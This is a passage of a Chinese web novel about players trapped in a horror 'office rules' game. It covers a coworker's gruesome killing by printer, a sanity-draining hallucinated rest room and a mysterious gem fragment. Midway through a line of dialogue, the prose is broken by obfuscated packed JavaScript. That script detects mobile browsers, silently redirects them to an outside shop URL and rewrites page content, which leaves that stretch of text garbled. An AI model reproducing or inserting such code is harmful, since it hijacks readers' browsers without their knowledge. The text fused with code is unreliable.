几声尖啸结束,艾经理松开放在她肩上的手,拍了拍手掌:“好了,大家继续工作。” 郝荨又等了一会儿,直到听到熟悉的同事说话声她才睁开双眼,她看向艾经理离开的背影,刚才那是什么? 她又在里面扮演了什么角色? 经理餐到底是吃的什么东西? 这一切的一切都还没有解答,好在那“东西”被逐出办公室后,塑料箱里又多出来一份员工餐,她小心翼翼地打开,两荤两素,没有问题。 可能是工作吸走了她的精气,下午时,她开始有点偏头痛,站起来时甚至有点头晕。 郝荨拿着新的一版修改文件去找艾经理,这次艾经理连装都不装了,只看了一眼封面就冷淡地说了两个字:“重做。” 郝荨了然,最佳员工考核的应当并不是他们加班加点做出来的文件,而是其他什么东西。 她忽然产生了一个奇怪的想法,每次进入办公室,艾经理都在认真盯着她的屏幕……她究竟在看什么? 她试探着想要探头望去,艾经理突然转头看向她,把她牢牢定在原地,郝荨露出了一个讨好的笑:“艾经理,刚刚谢谢你。” 艾经理面无表情看了她一会,说道:“没什么好谢的,要谢就把你的本职工作做做好,让我看到你们的上进心。” 出门时,正好碰到琳达也来给艾经理审核文件。 对方见到她没有半点反应,目不斜视径直走入办公室内。 回到工位,郝荨依然在思索艾经理刚才说的话,那话乍一看平平无奇,似乎每个领导都会这样说,但在迷雾游戏中,一句普普通通的话也可能是破题的关键。 她不再认真修改,而是把精力集中到观察其他同事身上。 午休时间那场意外似乎没有给大家造成任何影响,小乔靠在一个男同事桌前,低着头浅笑,在和他讨论项目的变动,见到这一幕的巴哥用力敲打着他的键盘,仿佛在发泄着什么。 “刺啦——” 撕纸声从隔壁传来,郝荨回头望去,刚刚回来的琳达一屁股坐在椅子上,办公椅不堪重负地晃了晃。 她手上动作异常粗暴,正用力撕碎那叠文件。 “看什么看?!”琳达怒气冲冲地骂道。 她的眼里全是熬夜形成的红血丝,表情狰狞,像是一碰就炸的火药包。 郝荨默默把头扭回。 看来她也没有通过审核。 撕完后,她又一片片捡起扔进垃圾桶,郝荨用余光关注着她,琳达的眼球微微凸出,仿佛有什么东西在底下向外挤压似的。 先前和小乔聊天的男同事正好打印完新文件路过他们这桌,不巧,把琳达的废纸踩在了脚底。 “让开。”琳达拽着废纸一角,冷声道。 男同事本来是不小心,可一听琳达这命令语气一股不爽的郁气便油然而生,干脆就站着不动,甚至,另一只脚也踩了上来。 “我说——让开。”琳达低垂着头,再次重复,语气中满是压抑。 男同事更加不爽:“我就不让开,你能奈我何?” 有那么一瞬间,郝荨都要以为琳达会暴走,但她只是沉默几息后松开了手。 认为自己获得胜利的男同事得意洋洋,“呵”了一声后便迈步走开。 琳达盯着那张印着鞋印的废纸看了一会儿,然后抬起头,幽深的视线像是暗中匍匐的蛇,紧紧盯住了男同事的背影。 五点到了。 郝荨在众人视线中站起,她抽了几张纸,神态自若:“洗手间,有人要一起吗?” 其余人收回视线。 路过其他办公室时,她加重了脚步声,等上完厕所出来时就看到了余逸等在茶水间门口探头探脑:“玛弥!快快,法瑟也在!” 下班时间,走廊里却空无一人,茶水间里只有法瑟坐在沙发上闭目养神。 余逸打了个哈欠:“好困,原来上班真的这么累。” 他之前沉迷游戏天天通宵也没感觉这么困过。 郝荨被他传染,也忍不住打了个哈欠,她倒了杯咖啡放在鼻尖嗅闻:“我们之前的路线错了,最佳员工和工作质量无关。” “啊?”余逸抱住自己的手,“那我这两天作业白做了?!” 天知道他是怎么顶着受伤BUFF改文件的!那么辛苦,竟然是无用功! 郝荨安慰他:“没关系,以后你写简历可以说自己有独立完成设计公司项目的制作经验,能在高压下完成甲方和领导的修改意见,这样你就是一个有三年工作经验的合格应届生了。” “也是。” 余逸心情瞬间好转,他用没受伤的那只手扒拉了两下头发:“那我们要怎么才能拿下最佳员工啊?” 郝荨喝了口咖啡,浓郁的咖啡香气舒缓了她疲惫的神经。 她刚要说话,外头突然响起了一阵此起彼伏的尖叫声—— 是2702的方向! * 十分钟前。 看见新来的同事真的往洗手间方向走去后,办公室又重新沉寂下来。 琳达将第51版修改文件保存好,选中打印按钮后来到了打印机旁,她有些神经质地啃咬着大拇指上的死皮,薄薄的皮肤被一片片撕下,又被她的牙齿咬碎吞进肚里。 这已经是修改的第几周了?她有些记不清。 只记得身边的座位上新同事来了又走,一茬一茬的,有的夺走了她想要的最佳员工位置,被调往了总公司,有的…… 总之,再也没见过。 改的版本太多,她的记忆出现了混乱,她一边想着一会儿见到艾经理要如何说明最新的版本改在哪里,一边又有点想不起来这是第几版,是31吗?还是43?又或者是57? 打印机开始运作,发出惹人心烦的嗡鸣声。 她在日日夜夜设计公司待多久了? 是什么时候进的公司? 一年?两年?还是…… “你在打印啊。” 余光里出现一只鞋,老款的棕色皮鞋,42码,踩在纸上会留下一个清晰的鞋印。 鞋印的主人下巴抬得高高的,自然说道:“正好,把我的也印了吧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067944|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 印好放我桌上就行。” 他的脸上带着笑意,语气里却是让人想吐的傲慢。 琳达慢慢握紧了拳头。 “你听到了没啊?”那只鞋点了点地,很是不满。 “喂,我叫你呢!” 鞋子动了,向前迈了一步。 与此同时,男同事伸手过来要推她,被她一把挥开。 皮鞋的主人一愣:“你听见没?” “滴滴。” 文件打印完毕。 琳达小心地拿起那厚厚一叠A4纸,用订书机订好后放在了身后的桌子上。 “我跟你说话,你什么态度?!” 她仿佛没有听见一般,想了想,又把那叠还带着温度的文件塞进一旁的空文件夹里。 男同事开始卷袖子:“我就不信了——” 琳达忽然回身,两人的距离极其接近,近到他甚至能看清对方一片血红的眼珠。 瞳孔中没有他,没有倒影,什么都没有。 空无一物。 那只皮鞋下意识退后了一步,它的主人嘴唇颤抖着,似乎想要说些什么。 但来不及了,下一秒—— 那张说出难听话语的嘴唇就出现在了打字机里。 * 郝荨三人赶到时,2702的办公室里已经血花四溅,地上只留下了半截穿着裤子和棕色皮鞋的肢体。 密密麻麻的血点子遍布在雪白的墙壁上,有几滴溅射在最佳员工的照片上,恰好落在第一批员工的眼睛上。 不知道是不是她的错觉,那三人的眼睛似乎动了一下。 办公室里除琳达以外的6人……不,现在只有5人了,他们惊慌失措地捂住嘴,恐惧地望向打字机。 而视线中心的琳达却满不在乎,她正要去拿文件,却发现手上满是鲜血。 她甩了甩手,随后拿起文件夹,A4纸上的温度甚至还没完全消退: “我要去交文件,有人要一起吗?” 办公室很是安静,她耐心等了几秒,便自顾自地离开了办公室。 她的衣服被鲜血浸透,随着她的脚步,血液在地上不断滴落,像是开出一朵朵诡异的花。 郝荨退后几步目送她远去,身旁的余逸大张着嘴,双手捂在眼前,那双狗狗眼通过指缝看向打字机,等人走后才敢喘上一口气: “……打字机那么小,她是怎么把人塞进去的啊?” 郝荨:? “这是重点吗?” 她很费解,余逸是怎么长到这么大的,明明很倒霉,却一点被社会毒打的痕迹都没有。 她看了眼法瑟,法瑟不明所以。 “那重点是什么?”余逸的眼里充满了求知。 看在对方很好学的份上,郝荨给他解释道:“重点是这玩意儿搞成这样我以后都没办法打印了!” 法瑟:…… 你也没好到哪去! 郝荨检查了一下身上,确认没有沾上血迹,她松了口气:“好消息,以后上班可以摸鱼了。” “那坏消息呢?” “坏消息就是……” 她看向办公室里已经恢复正常继续工作的同事们,眯起眼睛道:“真正的游戏开始了。” 她本来以为余逸那道伤口是个意外,现在看来,只是个开胃小菜而已。 并不是所有人都靠努力来赢得比赛。 37. 办公室员工守则07 第三天。 郝荨醒来时差点眼前一黑,她昨天在浓重的血腥气里硬是坐到副本自动跳时间,不知道是不是那股血腥气的原因,她头疼得实在厉害,耳边一直有个声音在叫她快去休息。 她看向自己的队友们,法瑟双手抱臂靠在墙上,闭着眼一动不动,好像具尸体。 余逸则一副没睡醒的样子,站得东倒西歪,头不住点着,生怕他下一秒就一头栽在垃圾桶里。 今天的办公室氛围很奇怪,往常大家的视线都是紧盯自己屏幕,今天却时不时地望向其他人,那眼神中仿佛夹杂着什么无法细思的东西,一股阴冷的恐惧在楼层中蔓延开来,让人如坐针毡。 血迹已经消失无踪,崭新的打印机仿佛还在诉说昨天发生了什么。 郝荨握住口袋里的木仓,随着她进的本越来越多,没有瞄准挂的武器显然已经不足以保证她的安全,要是能出个升阶道具就好了…… …… “醒醒,醒醒……” “……别叫她……你对她好她也不领情……” “可是……艾经……” 好吵…… 谁在说话……? 郝荨只感觉自己脑袋很沉重,几乎抬不起头来,思绪像是卡了壳的钟表,僵硬到无法转动。 “别管她,被抓到算她倒霉,想想最佳员工——” 最佳员工! 她突然睁开双眼,自己竟然睡着了?! “你醒啦?”小乔同情地看着她,“刚刚艾经理路过发现你在打瞌睡,让你醒来去她办公室找她。” “嘁!” 见她醒来,巴哥没意思地回过头,“怎么不让她睡到明天。” 郝荨没有搭理他,只是对着小乔道:“我知道了,谢谢。” 说着,她站起身,但郝荨没有去往经理办公室,而是先去了趟洗手间。 冰冷的水流打在脸上,她打了个激灵,彻底清醒了。 怎么回事? 上班真的消耗这么大吗? 她上大学时一天打三份工似乎也没累成这样。 郝荨望向镜子中的自己,水滴顺着眉眼滑下,滴在眼睛里,她的视线有些模糊,但好在洗过脸后头脑清醒了些,虽然还是有些偏头痛,但至少可以忍受…… 如果没有被领导抓包谈话这件事就更好了。 她头疼地搓了搓脸,一副视死如归的表情就要踏出洗手间,脚刚抬起就硬生生定在了原地。 一阵悠扬舒缓的轻音乐从对面房间中传出,那房间的大门敞开着,明亮、温暖,牢牢吸引着她的视线。 门口的标签上写着大大的三个字——休息室。 休息室? 郝荨愣神,洗手间对面不应该是茶水室吗? 她恍然想起—— 【守则五:为了你的工作效率,本公司没有设置休息室,如果你在走廊上看见,请无视它并立刻回到自己的工位上。】 她立刻把艾经理抛在脑后,转身就往2702走去。 休息室的的音乐声在走廊上回荡,轻柔的女声在咿咿呀呀哼唱着…… 这个班是非上不可吗…… 她已经辛辛苦苦上了两天多的班了,稍微休息一下也可以吧…… 浓重的困意油然而生,她捂住耳朵,那音乐却仿佛能穿透一般顺着每个毛孔渗入。 墙壁上浮现起道道文字: 【休息吧——】 【生活最重要的是劳逸结合——】 【你那么努力公司也不会多发钱——】 【休息室里的大家都在等待你——】 【就几分钟不会被发现的——】 那字迹很柔软,在墙面上轻轻晃动着,像是在勾引她。 郝荨越走越快,她的心底涌现出无限不服,凭什么她这么辛苦天天加班到十二点工资却不涨半分?凭什么甲方一句话就能打回她认认真真做的方案?还质疑她没有用心?凭什么她连上厕所久一点都要被同事检查是不是在摸鱼? 凭什么凭什么凭什么?! 暴虐的情绪在心底滋生,前方又出现了休息室的身影,标牌在她眼中无限放大,要不……进去休息一下? 人影在休息室里晃动,一个不算眼熟的同事笑眯眯地站在门口: “呀!是新人,新人快来!” 他的身边冒出许许多多的脑袋,他们向她招手: “新人吃小蛋糕吗?”一个女孩端着诱人的蛋糕冲她微笑着。 “哈——午睡时间还有很久,来休息一下吧。”另一个同事披着毛毯打哈欠道。 暖黄色的光打在他们身上,晕出温柔的金色光芒,温郝荨不由自主地露出笑意,向着他们走去…… 【园——长——】 神使冰冷又暴躁的声音响起,仔细听甚至还带着点委屈: 【有——人——摸——我——】 一瞬间,仿佛有盆凉水从头头顶浇下,郝荨打了个冷战。 神使那头信号似乎很差,状告完了才忽然反应过来: 【你的理智怎么飘红了!】 郝荨按住眉心缓了缓: ‘谢谢。’ 她看了看濒临60分界线的理智值,再抬头看向休息室时,那些“同事们”已经收起笑容,正阴冷地看着她。 郝荨没有多说什么,只按照守则五中说得那样,视线镇定地移开,只装作自己没看到,继续向前走去。 ‘你刚刚说有人摸你是怎么回事?’ 神使迅速想起自己受的委屈: 【我今天刚开直播,就有弹幕说我是假的机器人,是人类后台操控的!什么人类敢操控本神使?!气得我跟他大骂三百回合,他骂不过我就说脏话!人类也太过分了!】 或许是休息室知道骗不到她,她走着走着,那道音乐声就渐渐低了下去直到消失不见。 郝荨看向走廊尽头,熟悉的“2702”标牌被钉在墙边,她舒了口气。 ‘那么过分啊,人类真是太坏了!但这和摸你有什么关系?’ 【他说脏话之后就被我拉黑了,但直播间的弹幕还是有很多人被带节奏,还说他们就是不信,除非让他们摸一下。】 ‘啊……’ 郝荨在2702门口站定,她好像知道后面会发生什么事了。 神使虽然是高维生物,却没有见过低维生物的险恶。 【他们从乐园账号里找到了账号地址,说要跟我线下battle!气死我了!结果真的有人来battle!掰不过我就疯狂摸我!好变态!】 郝荨沉默 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“你到底在看什么?”“巴哥”的头转了180度,神色极其不耐烦,“工作都做完了?!” 每个人的状态都和之前一样,就像是学程序三年写出来的代码,明明哪儿哪儿都有bug,程序却跑得很顺畅。 郝荨开始怀疑,究竟是自己进错了办公室,还是她的SAN值太低出现了幻觉? “玛弥?你还好吗?”“小乔”关切地走到身边,拿那条凭空生出的第三只手拍了拍她。 所有人或不解、或烦躁地停下手里干的活,齐齐看向她。 “要不要去休息一下?”小乔搂住她的肩膀,“我陪你一起?” 休息! 两个字就像是一道惊雷劈开了她的天灵盖,郝荨望向不远处的打印机,那里放着一台老旧的打印机,在过去的两天,她曾经用过这台打印机许多次,她恍然大悟。 原来,她还没有从休息室里出来! 她缓缓看向按住自己肩膀的那只手,深吸一口气: “休休休!休息什么休息!” 郝荨猛地转身,脱离“小乔”的掌控,大声道:“天天就知道休息休息,老板请你们来是让你们休息的吗?!” “小乔”表情一僵:“玛弥…你这是怎么了?” “我只是试探一下,没想到你们竟然真的跟艾经理说的一样!”郝荨指指点点道,“一个个的只是看起来认真,在这里装模作样!我稍微表现奇怪一点你们就连工作也不做了!到底是同事的乐子重要还是工作效率重要?!” 她边说边把同事们一个个点过去,众人一下子懵住了,竟然没人发现她已经走到了门口。 郝荨用力拍了一下墙壁,愤怒道:“你们!真是太让我失望了!” 说完,她便大步转身离开了办公室。 转身时,余光似乎瞥到了什么……有什么一下子伸长追到了她脑后,似乎是“小乔”那只多出来的手。 “啊!” 她迎面撞上了什么东西,心脏一紧,熟悉的声音从上方传来: “……这是男厕。” 她睁开眼,是法瑟! 38. 办公室员工守则08 法瑟! 郝荨狐疑地拽着他上看下看,还趁着他没反应捏了捏对方的手臂,想要去戳脸时被对方一把抓住。 “……你做什么?” 法瑟那张万年不变的杀鱼脸此刻带上些许慌张,面罩边缘浮上几分红色。 郝荨无端产生了奇怪的联想,自己好像那个搞职场潜规则的变态,她正要解释,余逸大声叫道:“好哇!你们居然自己开小会不叫——” 哦豁。 郝荨扭过头去,余逸脸上神色变幻,从震惊到怀疑,又从怀疑到了然,他慢慢伸出手捂住了自己的眼睛:“我什么都没看到!” 郝荨:…… 真是谢谢你的体贴了! “快点过来!开会了!” 郝荨撩了把被汗湿的头发,只当一切都与她无关,冷静地推开茶水室的门,这次是上班时间,里头有人在泡咖啡。 她不认识,只有些许面熟,正想着等对方泡完出去,那人却跟炸了毛的兔子似的,只看了他们一眼,就连杯子也不要了,低着头迅速离开。 “……谁的同事?” 余逸连忙摆手:“反正不是我的。” 两人一同看向“罪魁祸首”,法瑟的脸色已经恢复正常,仿佛一切都与他无关。 也不知道这人对他的同事都做了什么。 郝荨将休息室有关的线索告知二人,并着重解释了自己刚刚的行为是在检查队友是不是本人,法瑟扭开脸:“……嗯。” 余逸恍然大悟:“就是说,休息室会让人产生幻觉,欺骗玩家自己回到的是办公室,对吗?” 郝荨点点头:“如果遇到休息室一定要保持清醒,它会吞噬我们的理智。” 听到会吞噬理智,法瑟的眉梢不自觉地一动。 郝荨没有注意到,她有些头痛站到窗边,阳光透过窗户洒下,勉强给她带来了一丝暖意:“游戏进度已经过去了一半,我有种不太好的感觉。” 余逸也来到窗边,他大大咧咧地坐在地砖上,晒着没有温度的太阳。 “玛弥,别担心,兵来将挡水来土掩嘛!” 郝荨没有接话,她紧紧皱着眉,眼睛望着楼下脑子却还在运转。 几个小小的紫色人影正在离开这栋大楼,刚走出没几步,又忽然绕了个圈回来,其中一个小人在原地停了几秒,好像在抬头看些什么。 有那么一瞬间,郝荨甚至怀疑和对方对上了视线。 但这怎么可能? 郝荨失笑,27层的高度,能看清他们的衣服颜色已经是她眼神有别于常人了。 “我马上去找艾经理,如果半小时后我还没出来——” 她望向两人:“那就要麻烦你们捞我了。” * “咚咚。” 郝荨敲了敲经理办公室的门,离开太阳她的头又开始疼了。 “请进。” 艾经理的声音从门内传出,可能是隔着门的缘故,听起来有些失真。 郝荨推门进去,艾经理还是穿着那件黑色的经理制服,她坐在电脑后面没有动弹,见到是她,严肃的脸上带上些疑惑:“有事吗?” “不好意思,艾经理。” 郝荨避重就轻解释了一下自己为什么会睡着这件事。 “我保证,再也不会这样了。”她诚恳道。 听到这话,艾经理继续看向她的屏幕,隔了好一会儿才“嗯”了一声。 没想到古板严肃的艾经理竟然这么好说话,郝荨闭着眼睛揉了揉发胀的太阳穴,抬起头看向紧闭的经理室大门,抬手敲了敲。 “咚咚。” “进来吧。”艾经理的声音从门内传出。 可能是隔着门的缘故,听不出对方到底有没有生气。 郝荨犹豫了一下,单手握住口袋里的木仓,推门而入。 艾经理坐在电脑椅上,全神贯注地看着那台屏幕,只是瞟了她一眼,没有开口。 “不好意思,艾经理。” 郝荨表情诚恳:“是这样的,我习惯在正式制作和修改之前先在脑内脑补过程,这样修改的时候就不会浪费过多的时间在步骤上,我忘了告知大家这是我的工作习惯,才会让人误以为我在睡觉。” 艾经理的视线从电脑屏幕上移开,深深看了她一眼:“你是说,你打呼的时候也是在工作?” 郝荨:…… 她都累到打呼了吗?! “……是的,您可能不知道,”郝荨硬着头皮解释,“其实我有两个人格,其中一个人格在脑袋里干活的时候另一个人格会用打呼来计时,以免我在脑袋里花费太多时间,导致工作拖延。” 艾经理的表情放空了一瞬。 “虽然看起来有点奇怪,但这能大大加快我的工作效率,是对公司有益的事,您看那些天才,多多少少都有些怪癖,我认为我这个怪癖在那群天才中根本算不上什么。” 郝荨抓紧时间暗示:“当然,如果您能给我更多机会我相信我一定可以回报给公司更多!” 艾经理看了她一会儿,忽然露出浅浅笑意,在那张严肃的脸上显得分外僵硬和格格不入。 “你想要什么机会?” 郝荨悄悄把手指塞进【弗兰德斯之木仓】的扳机:“比如说……每周的最佳员工?” 艾经理笑意陡然收起。 郝荨心中一紧,过了一会,艾经理重新看向她的屏幕: “把心思多多花在工作上,有些时候,不沽名钓誉的人才能获得更多。” 郝荨轻轻松了口气,她抬起另一只手揉了揉发胀的太阳穴。 没想到艾经理竟然还挺好说话,她还以为对方这么严肃古板—— 她的手蓦地顿住,这场景……之前发生过吗? 办公室外。 法瑟双手抱臂斜倚在墙上,双目沉沉盯着办公室的大门,不知道在想些什么。 余逸很紧张,他一会儿走到门口侧耳偷听一会儿又绕到法瑟身边,手里拿着他那把断了半截的扫把,时不时地挥舞两下,似乎在试角度。 大门被拉开,郝荨的身影出现在门口,余逸立刻冲上前去:“玛弥,你还好吗?她没有欺负你吧?!” 郝荨反应有些迟钝。 法瑟微微皱眉。 余逸后知后觉:“你怎么了?” 她垂下眼睛,没有和他们对视:“没什么,只是有点累。” “我也是!”余逸把扫把抗到肩上,“等这次副本通关我要好好睡上三天!” “说到通关,我有一些想法……” * “砰!” 2702的大门被用 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琳达本来不想接,她并不觉得自己当初是想帮她,她只是看不惯小乔和巴哥而已,一个到处把工作甩给其他人做,另一个天天在办公室阴阳怪气,烦得很,影响她工作效率。 但事关最佳员工,她还是接了过来。 那上头简单写着:午休时间,更衣室见。 “什么意——” 郝荨“嘘”了一声,使了个眼色:“别被他们听见了。” 她朝巴哥的方向抬了抬下巴。 没过多久就到了午休时间,今天上午出了些幺蛾子,好在与她无关。 一个同事去倒完水回来突然发现电脑被格式化,所有文件都没了,她一时想不开,冲出窗户跳了下去。 八个人的办公室现在只剩下六人。 她把餐盒放回保温箱,离开之前看了一眼琳达,琳达会意,几分钟后也离开了办公室。 “巴哥——你在做什么?” 小乔拿着文件过来,却见巴哥拿着支铅笔正在涂空空如也的便签本,她疑惑道。 巴哥将笔放平,小心翼翼地把那张纸涂完,上面的字迹清晰可见。 他看了看周围,见没人注意到他便小声道:“我听到玛伊雅弥提到最佳员工选拔的事,这两人偷偷摸摸的,一看就有事瞒着大家,走,我们也去看看!” 更衣室位于走廊起点处,一出电梯就是,琳达进入时,郝荨已经等在那了。 “你想说什么?” 郝荨抱着臂,在更衣柜中穿行而来,她走得很慢,却无端生出一股威压,在这间小小的更衣室中四散开来,让人喘不过气。 “想拿本周的最佳员工吗?” 琳达像是听到了什么笑话般不答反笑:“难道你不想?” 这栋写字楼归属于日日夜夜集团总公司,它旗下的所有分公司都在这栋楼里占有一席之地,每家分公司都只有一个目标,那就是为总公司输送真正的人才,甚至可以说,所有没有进取心的员工都已经被淘汰掉了,留下的每个人都期望自己能在最佳员工选拔中获胜,被调入总公司。 她不明白对方现在说这种废话有什么意义。 郝荨慢条斯理道:“我不想。” 39. 办公室员工守则09 “我不想。” 琳达一愣,那两条细细的眉毛随即拧成质疑的符号:“你觉得我会信?” 更衣室为了隐私安全,门上没有设置窗口,只有一条细细的门缝,勉强能透进一小片走廊上的灯光。 现在,这束灯光没了。 郝荨笑了笑:“你信不信无所谓,我也不需要你做什么,百利而无一害的事有什么理由不信呢?” “……先说说看到底怎么回事。” 郝荨慢慢绕过她,来到门口,“你不用知道细节,只要知道这次选拔我说了算就行。” “怎么可能?”琳达想都没想就反驳道。 “为什么不可能?”郝荨没有生气,她微微放低声音,“你想走——艾经理难道不想走吗?” 琳达愣住,虽然过去的记忆已经有些模糊混乱,但能确定的是,在她来之前艾经理就已经在这里工作了,来这里的每一天,她的心脏、血液,甚至是每个细胞都在叫嚣要离开这里,要成为最优秀的员工调往总公司,那么艾经理呢? 艾经理难道不想去总公司吗? 她的能力比他们所有人都强,不然不会成为主管楼层的经理,那她为什么不走? 琳达心底渐渐有了答案,或许不是她不想走,而是不能走。 那么又为什么不能走呢? 会不会是……她找不到合适的人选接任经理职务? 毕竟……在这里,所有人的目的都是离开,谁会想要继承经理职务,被这名头捆绑在这栋大楼呢? 对了!全对了! 难怪玛伊雅弥说自己不想走,还说这次选拔她说了算! 琳达的眼睛渐渐蒙上了红血丝,她激动道:“所以——” 郝荨竖起食指放到唇边,琳达会意,干脆道:“所以,你需要我做什么?” “暂时不需要你做什么,你只需要继续认真工作,”郝荨弯起嘴角,“还有,这件事别被其他同事知道,否则……我担心他们会对你做什么。” 琳达挑起眉毛:“放心,我在这里这么多年也不是白混的。” “那就好。” 郝荨看着门缝处的那束光又重新亮起,稍稍松了口气。 两人前后脚回到办公室,办公室里一派祥和,每个人都在做着自己的事,见她们进来也没什么反应。 郝荨沉下心,拿着鼠标在桌面和软件上随便动作,看上去很忙碌的样子,细看却能发现她的眼睛正在放空,瞳孔时不时地左右动作,大脑飞速转动,正在思考后续计划应该如何进行。 她站起身,准备去洗手间,小乔也适时站起:“去洗手间吗?我们一起吧。” 郝荨不置可否。 两人沉默着来到了洗手间,郝荨慢慢洗着手,等待对方发话。 果不其然,小乔撩了撩发丝,状似不经意般开口:“玛伊雅弥,你人真好,要是我们这次能一起选上最佳员工就好了,这样去总公司还能有个伴。” “我可能选不上吧。” 小乔没有把对方的委婉拒绝放在心上,她再接再厉道:“你在艾经理办公室有听到什么消息吗?我看你回来的时候状态有些奇怪。” 郝荨甩了甩手,小乔将纸巾递上,带着轻微的花香。 她怔了一瞬,下一秒,小乔柔软的手指已经拿着纸巾帮她把水珠擦了干净。 “……没有,艾经理只是叫我认真工作,最佳员工这种事怎么会让我知道呢。” 郝荨说的是实话,所以神态格外真诚。 可在偷听到“内幕消息”的小乔眼里,她看起来越真诚,就说明城府越深。 郝荨转过身正要离开,一道有些气急败坏的女声从身后传来: “我们听到了你和琳达的对话!” 她的脚步微微一顿,鱼儿上钩了。 “你们?” 郝荨回过身,头顶灯光洒下,半张脸隐藏在阴影里,她幽幽开口,“听到了什么?” 小乔眼神瞬间带上希冀,她诚恳道:“看在我们都是一个办公室的份上,三个名额,带上我可以吗?我一定会报答你的!” “报答我?你都去总公司了还能怎么报答我?” 她没有说好,也没有不好,也正是这样的态度让小乔稍稍松了口气,能谈就有机会。 她咬住下唇,神情有些挣扎,见她这样,郝荨作势欲走。 “等等!” 小乔似乎下定决心,她的声音不再像往常那样刻意放柔,姿势也有了些许变化,明明没怎么大动,却好像变了个人似的,不像往常那样有股茶茶的味道。 “我知道,你们和我们不一样。” 郝荨骤然抬头。 “只要你能保我拿到最佳员工,这个就送给你。” 她摊开手,一枚银色宝石正躺在手心闪闪发光,那宝石形状很奇特,像是一颗蛋,又像是一只注视着什么的眼睛,银河般的流光在里头缓慢流转,看多了有种要被吸进去的感觉。 郝荨伸手去拿,被小乔一把攥住手腕扣在掌心。 “别忘了前提是你能保我拿到最佳员工。” “这是什么?” 小乔表情有一瞬间的空茫:“我也不知道。” “我只记得第一天进公司时,这东西就已经在我身上了。” 郝荨动了动手腕,她没有后撤,而是更加向前,直到指尖轻触—— 【道具:▇▇碎片】 【品阶:▇】 【描述:▇▇神明▇▇▇碎片,也是▇▇▇▇▇▇▇▇。】 郝荨:…… 怎么都是马赛克? 她定定看向神明二字,好吧,看来这东西还真非拿不可了。 “你的诉求是拿到最佳员工还是转去总公司?又或者,你只是想离开这里?” 小乔一懵:“有什么区别吗?” “如果你只是想离开这里,我现在就可以帮你,但如果你想拿到最佳员工或是转去总公司就要麻烦一些。” 郝荨斟酌了一下,小乔又不是小仓那种看守者兼BOSS的存在,只是签一个普通NPC,游戏应该不会不放人。 可小乔沉默了一会儿,摇摇头道:“我要去总公司,好像……有人在那里等我。” 啊这……那可就麻烦了。 郝荨深吸一口气:“我再问一句,你怎么知道我们不一样的?” 小乔露出一个狡黠的笑容:“暂时让我保留一些神秘 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但她没想到,小乔并不是表面上那个办公室绿茶,游戏里的NPC……怎么会拥有玩家才能拥有的道具? 她的身份背后究竟还隐藏着什么秘密? 那枚备注“神明”的宝石碎片又是什么? 她现在知道什么是真正的创业未办而中道崩殂了,更惨的是,当她离开洗手间时,熟悉的BGM再一次飘进了她的耳朵,又是休息室! 郝荨转头就跑,系统属性栏里的理智值一路下滑,眼前开始出现幻觉,走廊墙壁上的文字拆解着飘出,她低头躲过,那些笔画却不依不饶地跟在她身后,扭曲着、膨胀着,远远望去,她像是拖着一串随时会爆炸的气球似的,在走廊里狂奔。 “别跑呀——” “团建就差你啦,快来呀——” “我在沙发上给你留了位置,不想躺下休息一下吗——” 或眼熟或陌生的同事在左右两侧的办公室门口招呼她,她心底有一瞬间的心动,但转瞬又被她用力按下。 不能信! 她拼尽全力往前跑着,不知道跑了多久,汗水滚滚而下,怎么还没出休息室的范围? 精疲力尽之时,一台电梯忽然出现在了走廊尽头,是休息室的幻觉?还是逃出生天的关键? 她来不及细想,那串文字已经膨胀到极限,巨大的爆炸声从身后传来。 郝荨扑在电梯上,拼命按向下的标志! 快点! 再快点! “砰!砰!” 爆破声来到她身后,忽然—— “叮,27楼到了。” 和休息室的暖黄灯光相反,冰冷的白炽灯就好像圣光一般从电梯门缝中倾洒而出,阴森而又真实。 门还没开完,她仗着身形硬是挤进了电梯,狂按关门键。 “玛弥——” 文字融合在一起,变成了一团奇怪的黑影,它跌跌撞撞地直冲电梯而来,大声喊着她的名字: “玛伊雅弥——” “玛——” 电梯门关上,郝荨顺着墙壁缓缓蹲下,大口喘着气,心脏扑通扑通狂跳。 角落里忽然传出一个声音: “剧烈运动后蹲下对身体不好。” 40. 办公室员工守则10 “剧烈运动后蹲下对身体不好。” 郝荨:! 电梯里有人?! 她咽了口口水,慢慢扭过头去,是个年轻女人,她穿着紫色制服,冷静地站在角落,眼神有些奇异。 29层的? 【守则六:本公司严格执行规模化、流程化管理,每位员工都会且仅会待在自己部门的办公楼层,如果你在本楼层看见其他楼层的部门员工,请立刻告知你的经理。请注意,无论对方说什么,都不要相信他/她。】 “怎么不说话?” 郝荨一时间进退两难,电梯里有个29层的员工,电梯外则是休息室,前有狼后有虎,剧烈运动下,她的大脑有些缺氧,她沉默地看着这个来自29层的女人——有点面熟? “我们是不是在哪见过?” 那女人歪了歪头,一字一句道:“我们何止见过。” 郝荨扶着墙站起,什么意思? 那人身形动了,郝荨把手放进口袋,她看着对方一步步向自己走来,忽然想起来自己确实曾经见过她! 就在那个早上,她和两个男人从电梯口出来,与她擦肩而过。 “累吗?累的话……” 她在郝荨身前站定,伸出食指向上指了指:“就向上爬吧。” 郝荨顺着她的方向望去,那里只有电梯顶,什么也没有,她疑惑道:“什么意思?” 对方笑了笑,张开手臂拥抱了她一下:“所有人都以为西西弗斯象征的是永不放弃的精神,但他们忘了,那只是诸神赐予他的惩罚。” 郝荨刚想掏木仓,这个拥抱却让她楞在原地,太熟悉了,熟悉到好像……她们曾千百次的拥抱过。 她正要问她是谁,睁开眼,却发现电梯间里冷冷清清,只有她一人的身影。 电梯门“叮”一声打开,门外是举着扫把即将劈下的法瑟。 “等等!” 郝荨赶忙喊停,余逸从法瑟身后探出脑袋:“玛弥!你没事!” “这刀要是劈下来就有事了。”她冷静道。 “这怎么回事啊?你们办公室的人说你不见了,差点吓死我们!后来你办公室那个漂亮姐姐偷偷跟我们说你可能在电梯里。” 余逸挠了挠脸颊:“没想到真的在。” 